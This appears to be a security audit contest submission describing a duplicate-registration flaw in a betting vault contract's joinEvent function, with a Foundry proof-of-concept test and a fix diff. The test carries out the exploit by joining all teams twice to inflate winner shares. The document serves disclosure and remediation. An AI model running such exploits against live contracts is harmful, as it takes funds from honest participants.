Submission Details
Severity:
No mechanism to prevent a user from calling `briVault::joinEvent` function more than once for all teams after a single deposit, which leads to a significant inflation of `totalWinnerShares` and reduces the winners' funds.
No mechanism to prevent a user from calling briVault::joinEvent function more than once for all teams after a single deposit, which leads to a significant inflation of totalWinnerShares and reduces the winners' funds.
Description
An attacker can make a minimum deposit and then call
briVault::joinEventfunction any number of times for all teams, as there is no mechanism to prevent the same address from being duplicated within the user arrayusersAddress.push(msg.sender);. Furthermore, all the attacker's shares for all losing teams can be linked to the winning teamtotalWinnerShares += userSharesToCountry[user][winnerCountryId];, leading to a massive inflation of thetotalWinnerSharesand a significant reduction in the funds that the winners are supposed to withdraw, resulting in substantial financial losses.
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
@> userToCountry[msg.sender] = teams[countryId];
@> uint256 participantShares = balanceOf(msg.sender);
@> userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender);
@> numberOfParticipants++;
@> totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Risk
Likelihood:
It can always be obtained.
Impact:
This leads to a direct loss of money.
Proof of Concept
<details>
<summary>POC</summary>
The following test performs these steps to prove the vulnerability.
I only used 5 users, and made them bet on one team, number 10, who would win. in order to simplify the loophole and make it understandable.
Exploitation Steps
1. The attacker, User 1, deposits 10 Ether and bets on all 48 teams twice.
2. User 2 deposits 10 Ether and chooses Team 10.
3. User 3 deposits 10 Ether and chooses Team 10.
4. User 4 deposits 10 Ether and chooses Team 10.
5. User 5 deposits 10 Ether and chooses Team 10.
6. After the competition ends and the winning team is chosen by the owner's account (Team 10)
7. Under normal circumstances, without an attack, the user should withdraw `9.85 Ether` and under attack the user should withdraw `0.4925 Ether`.
Put this test in `briVault.t.sol` .
```javascript
function test_poc_inflateWinnerShares_and_reduceWithdrawals() public {
// 1) owner sets countries
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
// 2) attacker (user1) deposits 10 ether (one deposit) then joins all 48 teams twice
vm.startPrank(user1);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(10 ether, user1);
// join every country twice -> this will push user1 multiple times into usersAddress
for (uint256 i = 0; i < 48; ++i) {
briVault.joinEvent(i);
}
for (uint256 i = 0; i < 48; ++i) {
briVault.joinEvent(i);
}
vm.stopPrank();
// 3) other honest users (user2..user5) deposit 10 ether and all choose country 10
address[4] memory winners = [user2, user3, user4, user5];
for (uint256 i = 0; i < winners.length; ++i) {
address u = winners[i];
vm.startPrank(u);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(10 ether, u);
briVault.joinEvent(10); // everybody picks team index 10
vm.stopPrank();
}
// 4) record pre-withdraw balances of winners
uint256 before2 = mockToken.balanceOf(user2);
uint256 before3 = mockToken.balanceOf(user3);
uint256 before4 = mockToken.balanceOf(user4);
uint256 before5 = mockToken.balanceOf(user5);
// 5) advance time -> finalize and set winner
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
// 6) snapshot values used in calculation
uint256 vaultAsset = briVault.finalizedVaultAsset(); // snapshot stored by setWinner
uint256 totalWinnerShares = briVault.totalWinnerShares(); // inflated by attacker
// compute expected-without-attack (vault / number_of_real_winners)
// We can compute stake once:
uint256 fee = (10 ether * participationFeeBsp) / 10000; // participationFeeBsp from setUp
uint256 stake = 10 ether - fee;
// expected if no attack: vaultAsset / 5 (5 honest winners) include Attacker
uint256 expected_per_winner_no_attack = vaultAsset / 5;
// actual per winner under the inflated totalWinnerShares:
// assetToWithdraw = (shares * vaultAsset) / totalWinnerShares
// where shares == stake for each depositor in this vault's logic
uint256 actual_per_winner = (stake * vaultAsset) / totalWinnerShares;
// 7) winners withdraw
vm.startPrank(user2);
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user3);
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user4);
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user5);
briVault.withdraw();
vm.stopPrank();
// 8) compute actual withdrawn amounts and assert
uint256 after2 = mockToken.balanceOf(user2);
uint256 after3 = mockToken.balanceOf(user3);
uint256 after4 = mockToken.balanceOf(user4);
uint256 after5 = mockToken.balanceOf(user5);
uint256 withdrawn2 = after2 - before2;
uint256 withdrawn3 = after3 - before3;
uint256 withdrawn4 = after4 - before4;
uint256 withdrawn5 = after5 - before5;
// Assert actual matches computed actual_per_winner
assertEq(withdrawn2, actual_per_winner, "user2 withdrawn != computed actual");
assertEq(withdrawn3, actual_per_winner, "user3 withdrawn != computed actual");
assertEq(withdrawn4, actual_per_winner, "user4 withdrawn != computed actual");
assertEq(withdrawn5, actual_per_winner, "user5 withdrawn != computed actual");
// Also assert the attack reduced the payout vs expected no-attack value
assertTrue(actual_per_winner < expected_per_winner_no_attack, "attack did not reduce payout");
// Emit console logs to show numbers (helpful when running tests)
console.log("vaultAsset", vaultAsset);
console.log("stake", stake);
console.log("totalWinnerShares (inflated)", totalWinnerShares);
console.log("expected_per_winner_no_attack", expected_per_winner_no_attack);
console.log("actual_per_winner (after attack)", actual_per_winner);
console.log("withdrawn user2", withdrawn2);
}
```
</details>
Recommended Mitigation
1. You can modify the `joinEvent` function to work like this.
```diff
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ if (bytes(userToCountry[msg.sender]).length != 0) {
+ revert("already selected a country");
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
```
Updates
Appeal created
bube 19 days ago
Submission Judgement Published Assigned finding tags:
Duplicate registration through `joinEvent`
Rewards breakdown
nSLOC
193This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.